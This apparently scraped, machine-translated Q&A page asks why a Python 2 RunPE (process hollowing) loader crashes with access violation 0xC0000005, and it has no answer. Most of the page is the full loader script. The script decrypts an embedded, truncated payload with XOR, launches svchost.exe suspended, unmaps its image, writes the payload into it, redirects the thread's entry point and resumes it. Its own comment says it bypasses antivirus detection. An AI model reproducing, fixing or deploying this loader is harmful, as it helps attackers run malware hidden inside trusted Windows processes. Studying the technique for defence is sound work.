python - 我的 RunPE 中的 0xC0000005 错误与 python
问题描述
我必须计划学习在 python 下实现 runPE(出于教育目的)。
但是,由于我对该领域知之甚少,我尝试修改源代码以使其正常运行(因为确实,在 github 上发布的所有 python 下的 runPE 项目目前都不起作用)。
于是决定在项目下训练:https://github.com/oueldz4/runpe
首先,要和你说清楚,我需要和你谈谈它是什么。
RunPE 是许多恶意软件使用的技术的通用名称。
该技术包括在暂停中启动一个新进程,然后在暂停中替换可执行文件的内存内容,最后释放该进程。这允许您运行完整的可执行文件,而无需将其放在磁盘上。这避免了防病毒软件的检测。
因此,正如您所读到的,此方法用于感染计算机而不会被防病毒软件检测到。然而,就我而言,我希望实现这个教育项目。我对安全世界很感兴趣,确实,了解这些机制对于避免通过在 Internet 上下载文件而感染自己很有用。
让我们回到我遇到的问题。
加密器最终输出以下代码:
#!/usr/bin/env python
# This script uses the runpe technique to bypass AV detection
# The payload it contains, is encrypted each time with a random key
# INSTALL pefile and ctypes packages
from itertools import cycle, izip
import sys, pefile
import ctypes
BYTE = ctypes.c_ubyte
WORD = ctypes.c_ushort
DWORD = ctypes.c_ulong
LPSTR = ctypes.c_char_p
HANDLE = ctypes.c_void_p
CREATE_SUSPENDED = 0x0004
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
class PROCESS_INFORMATION(ctypes.Structure):
_fields_ = [
('hProcess', HANDLE),
('hThread', HANDLE),
('dwProcessId', DWORD),
('dwThreadId', DWORD),
]
class STARTUPINFO(ctypes.Structure):
_fields_ = [
('cb', DWORD),
('lpReserved', LPSTR),
('lpDesktop', LPSTR),
('lpTitle', LPSTR),
('dwX', DWORD),
('dwY', DWORD),
('dwXSize', DWORD),
('dwYSize', DWORD),
('dwXCountChars', DWORD),
('dwYCountChars', DWORD),
('dwFillAttribute', DWORD),
('dwFlags', DWORD),
('wShowWindow', WORD),
('cbReserved2', WORD),
('lpReserved2', DWORD),
('hStdInput', HANDLE),
('hStdOutput', HANDLE),
('hStdError', HANDLE),
]
class FLOATING_SAVE_AREA(ctypes.Structure):
_fields_ = [
("ControlWord", DWORD),
("StatusWord", DWORD),
("TagWord", DWORD),
("ErrorOffset", DWORD),
("ErrorSelector", DWORD),
("DataOffset", DWORD),
("DataSelector", DWORD),
("RegisterArea", BYTE * 80),
("Cr0NpxState", DWORD),
]
class CONTEXT(ctypes.Structure):
_fields_ = [
("ContextFlags", DWORD),
("Dr0", DWORD),
("Dr1", DWORD),
("Dr2", DWORD),
("Dr3", DWORD),
("Dr6", DWORD),
("Dr7", DWORD),
("FloatSave", FLOATING_SAVE_AREA),
("SegGs", DWORD),
("SegFs", DWORD),
("SegEs", DWORD),
("SegDs", DWORD),
("Edi", DWORD),
("Esi", DWORD),
("Ebx", DWORD),
("Edx", DWORD),
("Ecx", DWORD),
("Eax", DWORD),
("Ebp", DWORD),
("Eip", DWORD),
("SegCs", DWORD),
("EFlags", DWORD),
("Esp", DWORD),
("SegSs", DWORD),
("ExtendedRegisters", BYTE * 80),
]
encryptedbuff = ("\x75\x6c\xa6\x63\x3a\x37\x36\x63\x35\x62\x38\x36\xc9\x9c\x39\x37"
"\x58\x23\x5b\x55\x53\x10\x4a\x0a\x14\x05\x50\x0e\x4b\x53\x14\x4c"
[...]
)
randomkey = '866c976c1b'
filepath = 'C:\Windows\System32\svchost.exe'
si = STARTUPINFO()
si.cb = ctypes.sizeof(STARTUPINFO)
pi = PROCESS_INFORMATION()
cx = CONTEXT()
cx.ContextFlags = 0x10007
key = cycle(randomkey)
decryptedbuff= ''.join(chr(ord(x) ^ ord(y)) for (x,y) in izip(encryptedbuff, key))
# Get payload buffer as PE file
pe = pefile.PE(data=decryptedbuff)
fd_size = len(decryptedbuff)
print "\n[+] Payload size : "+str(fd_size)
calloc = ctypes.cdll.msvcrt.calloc
p = calloc((fd_size+1), ctypes.sizeof(ctypes.c_char))
ctypes.memmove(p, decryptedbuff, fd_size)
print "[+] Pointer : "+str(hex(p))
pefilepath = pefile.PE(filepath)
# Create new process in suspedend mode using a legitim executable (Ex. svchost.exe)
if ctypes.windll.kernel32.CreateProcessA(None, filepath, None, None, False, CREATE_SUSPENDED, None, None, ctypes.byref(si), ctypes.byref(pi)):
print "[+] Process successfuly launched"
print "[+] PID : %d\n" %pi.dwProcessId
else:
print "Failed to create new process"
print "Error Code: ", ctypes.windll.kernel32.GetLastError()
sys.exit(1)
# Unmap the view of sections of the new process created
if ctypes.windll.ntdll.NtUnmapViewOfSection(pi.hProcess, LPSTR(pefilepath.OPTIONAL_HEADER.ImageBase)):
print "[+] Unmap View Of Section Succeed"
else:
print "Failed to unmap the original exe"
print "Error Code: ", ctypes.windll.kernel32.GetLastError()
sys.exit(1)
# Allocate memory to base address of malicious executable in suspended process
if ctypes.windll.kernel32.VirtualAllocEx(pi.hProcess, pe.OPTIONAL_HEADER.ImageBase, pe.OPTIONAL_HEADER.SizeOfImage, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE):
print "[+] Virtual Alloc Succeed"
else:
print "Failed to allocate virtual memory"
print "Error Code: ", ctypes.windll.kernel32.GetLastError()
# Write in memory malicious file's header
if ctypes.windll.kernel32.WriteProcessMemory(pi.hProcess, LPSTR(pe.OPTIONAL_HEADER.ImageBase), p, ctypes.c_int(pe.OPTIONAL_HEADER.SizeOfHeaders), None):
print "[+] Write Process Memory Succeed"
else:
print "Failed to write to process memory"
print "Error Code: ", ctypes.windll.kernel32.GetLastError()
sys.exit(1)
# Write sections one by one to memory
for section in pe.sections:
if ctypes.windll.kernel32.WriteProcessMemory(pi.hProcess, LPSTR(pe.OPTIONAL_HEADER.ImageBase+section.VirtualAddress), (p+section.PointerToRawData), ctypes.c_int(section.SizeOfRawData), None):
print "[+] Writing Section "+section.Name+" Succeed"
else:
print "Failed to write to process memory"
print "Error Code: ", ctypes.windll.kernel32.GetLastError()
sys.exit(1)
# Get CPU context of this process
if ctypes.windll.kernel32.GetThreadContext(pi.hThread, ctypes.byref(cx)):
print "[+] Get Thread Context Succeed"
else:
print "Failed to get thread context"
print "Error Code: ", ctypes.windll.kernel32.GetLastError()
sys.exit(1)
# Push the address of entry point in eax
cx.Eax = pe.OPTIONAL_HEADER.ImageBase + pe.OPTIONAL_HEADER.AddressOfEntryPoint
# Write ImageBase to Ebx+8
if ctypes.windll.kernel32.WriteProcessMemory(pi.hProcess, LPSTR(cx.Ebx+8), (p+0x11C), 4, None):
print "[+] Write Process Memory Succeed"
else:
print "Failed to write to process memory"
print "Error Code: ", ctypes.windll.kernel32.GetLastError()
sys.exit(1)
# Replace CPU context
if ctypes.windll.kernel32.SetThreadContext(pi.hThread, ctypes.byref(cx)):
print "[+] Set Thread Context Suceed"
else:
print "Failed to set thread context"
print "Error Code: ", ctypes.windll.kernel32.GetLastError()
sys.exit(1)
# Resume the process so windows continues the execution
if ctypes.windll.kernel32.ResumeThread(pi.hThread):
print "[+] Resume Thread Succeed"
print "\n[*] RunPE Succeed"
else:
print "Failed to resume thread"
print "Error Code: ", ctypes.windll.kernel32.GetLastError()
sys.exit(1)
但是,当我尝试使用 svchost.exe 运行 runPE 时,这段代码给我带来了著名的错误 0xC0000005
经过多次研究,我仍然不明白为什么我会遇到这个问题。如果我将它们与 C 或 C++ 中的一些等效项目进行比较,我使用的函数似乎是正确和合适的。
事实上,我的代码通过了这些功能:
CreateProcessA
NtUnmapViewOfSection
VirtualAllocEx
WriteProcessMemory
WriteProcessMemory
GetThreadContext
SetThreadContext
ResumeThread
我意识到这个项目表明必须遵循哪些步骤才能获得所需的结果:http ://www.rohitab.com/discuss/topic/40262-dynamic-forking-process-hollowing/ 。实际上,这些函数的使用顺序并不相同。但是,在我看来,oueldz4
如果我相信作者留下的评论,项目 github 中使用的功能似乎是相关的。
有人可以帮助我更好地理解这个问题的根源吗?我不知道我错过了什么......
PS:我正在尝试在 windows 10 64 位和 python 2.7 32 位下执行此操作。另外,我在消息中缩短了 encryptedbuff 变量,因为它占用了太多空间。
解决方案
推荐阅读
- codenameone - 如何使用代号进行收据打印
- julia - Julia pkg> 为“通量”和“绘图”添加“未知版本”错误的结果
- git - libgit2 checkout options.paths 忽略否定前缀
- java - 在 OkHttpClient 握手中使用 Java 注册的客户端身份验证证书
- sqlite - 如何使用 Diesel 将 i64 与 Insertable 结合使用
- .net-core - 构建主项目时,运行时标识符在依赖项目中不可用
- ruby-on-rails - 如何访问erb文件中字符串内的Ruby对象
- ionic4 - 适用于 Android 的 ionic 4 插入模式画中画
- node.js - 使用 Mongoose 将唯一对象添加到 MongoDB 中的数组中
- node.js - 在 Heroku 中访问 Vue 应用程序中的环境变量